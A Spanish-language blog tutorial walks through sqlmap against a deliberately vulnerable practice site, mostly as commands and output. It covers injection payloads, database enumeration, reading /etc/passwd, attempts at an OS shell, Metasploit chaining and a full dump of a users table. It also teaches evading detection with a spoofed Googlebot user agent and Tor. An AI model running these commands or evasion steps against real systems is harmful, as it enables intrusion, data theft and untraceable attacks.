SQLmap herramienta imprescindible en tu arsenal

Ha llovido mucho desde que Jaime publicara aquí la noticia de SQLmap, hoy vamos a ir un poco más allá de presentar SQLmap herramienta imprescindible en tu arsenal y vamos a ver algunos ejemplos básicos.

SQLmap herramienta imprescindible en tu arsenal

Índice

SQLmap herramienta imprescindible en tu arsenal y su uso con responsabilidad

Recordad que deberéis de usar la herramienta con responsabilidad.

Lo primero de todo es bajar desde Github la herramienta:

marc@dakunix ~/tools/pentest $ git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
Clonar en «sqlmap-dev»...
remote: Counting objects: 41965, done.
remote: Compressing objects: 100% (9416/9416), done.
remote: Total 41965 (delta 32592), reused 41824 (delta 32454)
Receiving objects: 100% (41965/41965), 38.76 MiB | 164 KiB/s, done.
Resolving deltas: 100% (32592/32592), done.

En nuestro caso usaremos una web de pruebas. Existen multitud de entornos para practicar estos ejercicios, buscad el que más os guste.

Vamos a ver los ejemplos comunes de SQLmap.

Comprobando si la web es vulnerable

SQLmap realiza todas las pruebas de manera automática, si la web tiene inyección sql, hará todo el proceso por nosotros.

SQLmap herramienta imprescindible en tu arsenal

Como veis ha detectado que el backend es MYSQL y que el parámetro es inyectable.

Resultado de SQLmap

Una vez que SQLmap haya encontrado la inyección nos la mostrará al final del report.

sqlmap identified the following injection points with a total of 27 HTTP(s) requests:
---
Place: GET
Parameter: cat
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cat=1 AND 3068=3068

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: cat=1 AND (SELECT 2151 FROM(SELECT COUNT(*),CONCAT(0x3a6863653a,(SELECT (CASE WHEN (2151=2151) THEN 1 ELSE 0 END)),0x3a7264793a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

Type: UNION query
Title: MySQL UNION query (NULL) - 11 columns
Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x3a6863653a,0x44527a73776f4648694b,0x3a7264793a),NULL,NULL,NULL,NULL#

Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: cat=1 AND SLEEP(5)

Encontrando usuario y base de datos en SQLmap herramienta imprescindible en tu arsenal

La herramienta posee unos flags con los que podremos extraer información del sistema remoto que estamos auditando.

marc@dakunix ~/tools/pentest/sqlmap-dev $ python sqlmap.py -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs

El flag --dbs hará que el servidor muestre las bases de datos disponibles.

SQLmap herramienta imprescindible en tu arsenal

Tenemos dos bases de datos acuart y information_schema.

SQLmap herramienta imprescindible en tu arsenal, ahora vamos a ver con que usuario se está ejecutando MYSQL.

Ejecutamos SQLmap con el flag --current-user

marc@dakunix ~/tools/pentest/sqlmap-dev $ python sqlmap.py -u http://testphp.vulnweb.com/listproducts.php?cat=1 --current-user

Eso hará que aparezca por pantalla el usuario.

imagen3

Ya tenemos el nombre del usuario pero no podemos saber si es administrador o no, así  que lo comprobamos con SQLmap.

El flag:

marc@dakunix ~/tools/pentest/sqlmap-dev $ python sqlmap.py -u http://testphp.vulnweb.com/listproducts.php?cat=1 --is-dbs --current-db

Obtenemos los resultados...

[15:14:30] [INFO] fetching current database
current database: 'acuart'
[15:14:30] [INFO] testing if current user is DBA
[15:14:30] [INFO] fetching current user
[15:14:30] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
current user is DBA: False
[15:14:30] [INFO] fetched data logged to text files under '/home/marc/tools/pentest/sqlmap-dev/output/testphp.vulnweb.com'

Estos son algunos de los ejemplos con nmap, mañana veremos más.

strong>Privilegios de usuario:

Dependiendo del usuario que corra en la base de datos poseerá unos privilegios u otros, con SQLmap podremos ver que es capaz de hacer este usuario. Lanzamos la herramienta con el flag correspondiente:

darkmac:sqlmap-dev marc$ python sqlmap.py -u http://testphp.vulnweb.com/listproducts.php?cat=1 --privileges

El output del resultado es:

[18:58:19] [INFO] fetching database users privileges database management system users privileges: [*] 'acuart'@'localhost' [1]: privilege: USAGE

Si hubiera más de un usuario administrando la base de datos enumería los privilegios.

Leyendo ficheros remotos

Si el usuario de la página web tiene permisos de escritura y lectura seremos capaces de descargarnos archivos del servidor web. El flag correspondiente es:

darkmac:sqlmap-dev marc$ python sqlmap.py -u http://testphp.vulnweb.com/listproducts.php?cat=1 --file-read=/etc/passwd

SQLmap descarga el fichero para que podamos leerlo luego más tarde.

[19:00:24] [INFO] the back-end DBMS is MySQL web application technology: Nginx, PHP 5.3.10 back-end DBMS: MySQL 5.0
[19:00:24] [INFO] fingerprinting the back-end DBMS operating system
[19:00:25] [INFO] the back-end DBMS operating system is Linux
[19:00:25] [INFO] fetching file: '/etc/passwd' do you want confirmation that the remote file '/etc/passwd' has been successfully downloaded from the back-end DBMS file system? [Y/n] Y
[19:00:33] [WARNING] it looks like the file has not been written, this can occur if the DBMS process' user has no write privileges in the destination path files saved to [1]:
[*] /Users/marc/tools/pentest/web/sqlmap-dev/output/testphp.vulnweb.com/files/_etc_passwd (size differs from remote file) [19:00:33] [INFO] fetched data logged to text files under '/Users/marc/tools/pentest/web/sqlmap-dev/output/testphp.vulnweb.com'
[*] shutting down at 19:00:33

Shell en servidor

Si tenemos la suerte de poseer los permisos necesarios podremos ejecuta una shell en el servidor. El flag correspondiente de SQLmap es:

darkmac:sqlmap-dev marc$ python sqlmap.py -u http://testphp.vulnweb.com/listproducts.php?cat=1 --os-shell

SQLmap nos preguntará de qué tipo queremos la shell

which web application language does the web server support? [1] ASP [2] ASPX [3] JSP [4] PHP (default) >

Si no es capaz de encontrar la raíz nos preguntará por mas opciones, entre ellas está la de realizar ataques de fuerza bruta sobre el directorio web.

[19:48:18] [WARNING] unable to retrieve automatically the web server document root what do you want to use for web server document root? [1] common location(s) '/var/www/' (default) [2] custom location [3] custom directory list file [4] brute force search

Las pruebas de fuerza bruta irán apareciendo por pantalla.

> 4
[20:01:31] [INFO] retrieved web server full paths: '/hj/var/www/listproducts.php'
[20:01:31] [INFO] trying to upload the file stager on '/var/www' via LIMIT INTO OUTFILE technique
[20:01:33] [INFO] heuristics detected web page charset 'ascii'
[20:01:33] [WARNING] unable to upload the file stager on '/var/www'
[20:01:33] [INFO] trying to upload the file stager on '/var/www' via UNION technique
[20:01:36] [WARNING] expect junk characters inside the file as a leftover from UNION query
[20:01:38] [WARNING] it looks like the file has not been written, this can occur if the DBMS process' user has no write privileges in the destination path
[20:01:40] [INFO] trying to upload the file stager on '/hj/var/www' via LIMIT INTO OUTFILE technique
[20:01:43] [WARNING] unable to upload the file stager on '/hj/var/www'
[20:01:43] [INFO] trying to upload the file stager on '/hj/var/www' via UNION technique
[20:01:43] [WARNING] it looks like the file has not been written, this can occur if the DBMS process' user has no write privileges in the destination path
[20:01:44] [INFO] trying to upload the file stager on '/var/www/html' via LIMIT INTO OUTFILE technique
[20:01:45] [WARNING] unable to upload the file stager on '/var/www/html'
[20:01:45] [INFO] trying to upload the file stager on '/var/www/html' via UNION technique
[20:01:47] [WARNING] it looks like the file has not been written, this can occur if the DBMS process' user has no write privileges in the destination path
[20:01:48] [INFO] trying to upload the file stager on '/var/www/htdocs' via LIMIT INTO OUTFILE technique
[20:01:48] [WARNING] unable to upload the file stager on '/var/www/htdocs'
[20:01:48] [INFO] trying to upload the file stager on '/var/www/htdocs' via UNION technique
[20:01:49] [WARNING] it looks like the file has not been written, this can occur if the DBMS process' user has no write privileges in the destination path
[20:01:50] [INFO] trying to upload the file stager on '/var/www/httpdocs' via LIMIT INTO OUTFILE technique
[20:01:51] [WARNING] unable to upload the file stager on '/var/www/httpdocs'
[20:01:51] [INFO] trying to upload the file stager on '/var/www/httpdocs' via UNION technique
[20:01:53] [WARNING] it looks like the file has not been written, this can occur if the DBMS process' user has no write privileges in the destination path
[20:01:53] [INFO] trying to upload the file stager on '/var/www/php' via LIMIT INTO OUTFILE technique
[20:01:54] [WARNING] unable to upload the file stager on '/var/www/php'
[20:01:54] [INFO] trying to upload the file stager on '/var/www/php' via UNION technique
[20:01:55] [WARNING] it looks like the file has not been written, this can occur if the DBMS process' user has no write privileges in the destination path
[20:01:57] [INFO] trying to upload the file stager on '/var/www/public' via LIMIT INTO OUTFILE technique
[20:01:58] [WARNING] unable to upload the file stager on '/var/www/public'
[20:01:58] [INFO] trying to upload the file stager on '/var/www/public' via UNION technique
[20:01:58] [WARNING] it looks like the file has not been written, this can occur if the DBMS process' user has no write privileges in the destination path
[20:01:58] [INFO] trying to upload the file stager on '/var/www/src' via LIMIT INTO OUTFILE technique
[20:02:04] [WARNING] unable to upload the file stager on '/var/www/src'

Automatizando más aún la herramienta

Revisando las opciones de SQLmap me encontré con una que no conocía. Se trata de un wizard que hará por nosotros la extracción de los datos y las pruebas.

El flag es wizard

darkmac:sqlmap-dev marc$ python sqlmap.py -u http://testphp.vulnweb.com/listproducts.php?cat=1 --wizard

Nos irá preguntando por las opciones e irá lanzando los ataques.

POST data (--data) [Enter for None]: Injection difficulty (--level/--risk).
Please choose:
[1] Normal (default)
[2] Medium
[3] Hard
> 1

Más opciones

Enumeration (--banner/--current-user/etc).
Please choose:
[1] Basic (default)
[2] Intermediate
[3] All
> 3

Irá extrayendo toda la información

sqlmap identified the following injection points with a total of 0 HTTP(s) requests: --- Place: GET Parameter: cat Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: cat=1 AND 4891=4891 Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: cat=1 AND (SELECT 6213 FROM(SELECT COUNT(*),CONCAT(0x3a7862783a,(SELECT (CASE WHEN (6213=6213) THEN 1 ELSE 0 END)),0x3a716e663a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) Type: UNION query Title: MySQL UNION query (NULL) - 11 columns Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x3a7862783a,0x5564697071794f627263,0x3a716e663a),NULL,NULL,NULL,NULL# Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind Payload: cat=1 AND SLEEP(5) --- web application technology: Nginx, PHP 5.3.10 back-end DBMS operating system: Linux Ubuntu back-end DBMS: MySQL 5.0 banner: '5.1.69-0ubuntu0.10.04.1' current user: 'acuart@localhost' current database: 'acuart' hostname: 'rs202995' current user is DBA: False database management system users [1]: [*] 'acuart'@'localhost'

Al ser un wizard irá haciendo el ataque

do you want to crack them via a dictionary-based attack? [Y/n/q] Y
what dictionary do you want to use?
[1] default dictionary file '/Users/marc/tools/pentest/web/sqlmap-dev/txt/wordlist.zip' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
do you want to use common password suffixes? (slow!) [y/N] N
Database: acuart Table: users [1 entry]

+---------------------+------+----------------------------------+------+-------+---------+-----------------+---------------------------------+
| cc | name | cart | pass | uname | phone | email | address |
+---------------------+------+----------------------------------+------+-------+---------+-----------------+---------------------------------+
| 1234-5678-2300-9000 | ram | 18422368bd6d70df5d32f7f52bc76666 | test | test | 2323345 | [email protected] | | +---------------------+------+----------------------------------+------+-------+---------+-----------------+---------------------------------+

Cambiando User Agent en SQLmap herramienta imprescindible en tu arsenal

Existen ciertas protecciones para evitar ataques a nuestro aplicativo web. Hay herrramientas que usan su propio user agent, por eso en los sistemas perimetrales se pueden aplicar reglas que cuando se identifiquen este tipo de user agents se bloqueen estas peticiones.

Es por eso que podemos modificar la herramienta para atacar con otro user agent

darkmac:sqlmap-dev marc$ python sqlmap.py -u http://testphp.vulnweb.com/listproducts.php?cat=1 --user-agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"

Con esto en el servidor saldrá el user agent de Google

Usando TOR como pasarela de ataque.

Además de cambiar el user agent para los ataques podemos conbinar SQLmap con TOR, para que los ataques vengan desde la red TOR y sea casi imposible poder tracerar el ataque.

El flag del sqlmap es:

darkmac:sqlmap-dev marc$ python sqlmap.py -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dump-all –tor --user-agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"

Está claro que irá bastante mas lento que si hicéisemos un ataque sin TOR.

SQLmap herramienta imprescindible en tu arsenal y el SQLmap + Metasploit

Podemos combinar la potencia de SQLmap con Metasploit, para hacerlo es muy sencillo, hacemos

python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --os-pwn \ --msf-path /software/metasploit

SQLmap herramienta imprescindible en tu arsenal, como habéis podido ver en estas pequeñas entradas SQLmap es una herramienta muy versátil que nos puede ayudar en un proceso de auditoría.

Subir